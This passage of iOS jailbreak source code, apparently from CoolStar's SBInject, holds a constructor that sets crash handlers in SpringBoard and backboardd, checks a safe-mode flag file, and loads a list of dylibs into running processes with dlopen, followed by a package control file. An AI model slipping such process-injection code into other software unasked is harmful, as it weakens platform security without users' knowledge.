-(void)finishUIUnlockFromSource:(int)source { 123 | %orig; 124 | [(SpringBoard *)[%c(UIApplication) sharedApplication] launchApplicationWithIdentifier:@"org.coolstar.SafeMode" suspended:NO]; 125 | } 126 | %end 127 | %end 128 | 129 | 130 | BOOL safeMode = false; 131 | 132 | __attribute__ ((constructor)) 133 | static void ctor(void) { 134 | @autoreleasepool { 135 | if (NSBundle.mainBundle.bundleIdentifier == nil || ![NSBundle.mainBundle.bundleIdentifier isEqualToString:@"org.coolstar.SafeMode"]){ 136 | safeMode = false; 137 | NSString *processName = [[NSProcessInfo processInfo] processName]; 138 | if ([processName isEqualToString:@"backboardd"] || [NSBundle.mainBundle.bundleIdentifier isEqualToString:@"com.apple.springboard"]){ 139 | struct sigaction action; 140 | memset(&action, 0, sizeof(action)); 141 | action.sa_sigaction = &SpringBoardSigHandler; 142 | action.sa_flags = SA_SIGINFO | SA_RESETHAND; 143 | sigemptyset(&action.sa_mask); 144 | 145 | sigaction(SIGQUIT, &action, NULL); 146 | sigaction(SIGILL, &action, NULL); 147 | sigaction(SIGTRAP, &action, NULL); 148 | sigaction(SIGABRT, &action, NULL); 149 | sigaction(SIGEMT, &action, NULL); 150 | sigaction(SIGFPE, &action, NULL); 151 | sigaction(SIGBUS, &action, NULL); 152 | sigaction(SIGSEGV, &action, NULL); 153 | sigaction(SIGSYS, &action, NULL); 154 | 155 | if (file_exist("/var/mobile/.sbinjectSafeMode")){ 156 | safeMode = true; 157 | if ([NSBundle.mainBundle.bundleIdentifier isEqualToString:@"com.apple.springboard"]){ 158 | unlink("/var/mobile/.sbinjectSafeMode"); 159 | NSLog(@"Entering Safe Mode!"); 160 | %init(SafeMode); 161 | } 162 | } 163 | } 164 | 165 | if (!safeMode){ 166 | for (NSString *dylib in sbinjectGenerateDylibList()) { 167 | NSLog(@"Injecting %@ into %@", dylib, NSBundle.mainBundle.bundleIdentifier); 168 | void *dl = dlopen([dylib UTF8String], RTLD_LAZY | RTLD_GLOBAL); 169 | 170 | if (dl == NULL) { 171 | NSLog(@"Injection failed: '%s'", dlerror()); 172 | } 173 | } 174 | } 175 | } 176 | } 177 | } 178 | -------------------------------------------------------------------------------- /sbinject/control: -------------------------------------------------------------------------------- 1 | Package: com.yourcompany.sbinject 2 | Name: SBInject 3 | Depends: 4 | Version: 0.0.1 5 | Architecture: iphoneos-arm 6 | Description: An awesome library of some sort!! 7 | Maintainer: CoolStar 8 | Author: CoolStar 9 | Section: System 10 | Tag: role::developer 11 | --------------------------------------------------------------------------------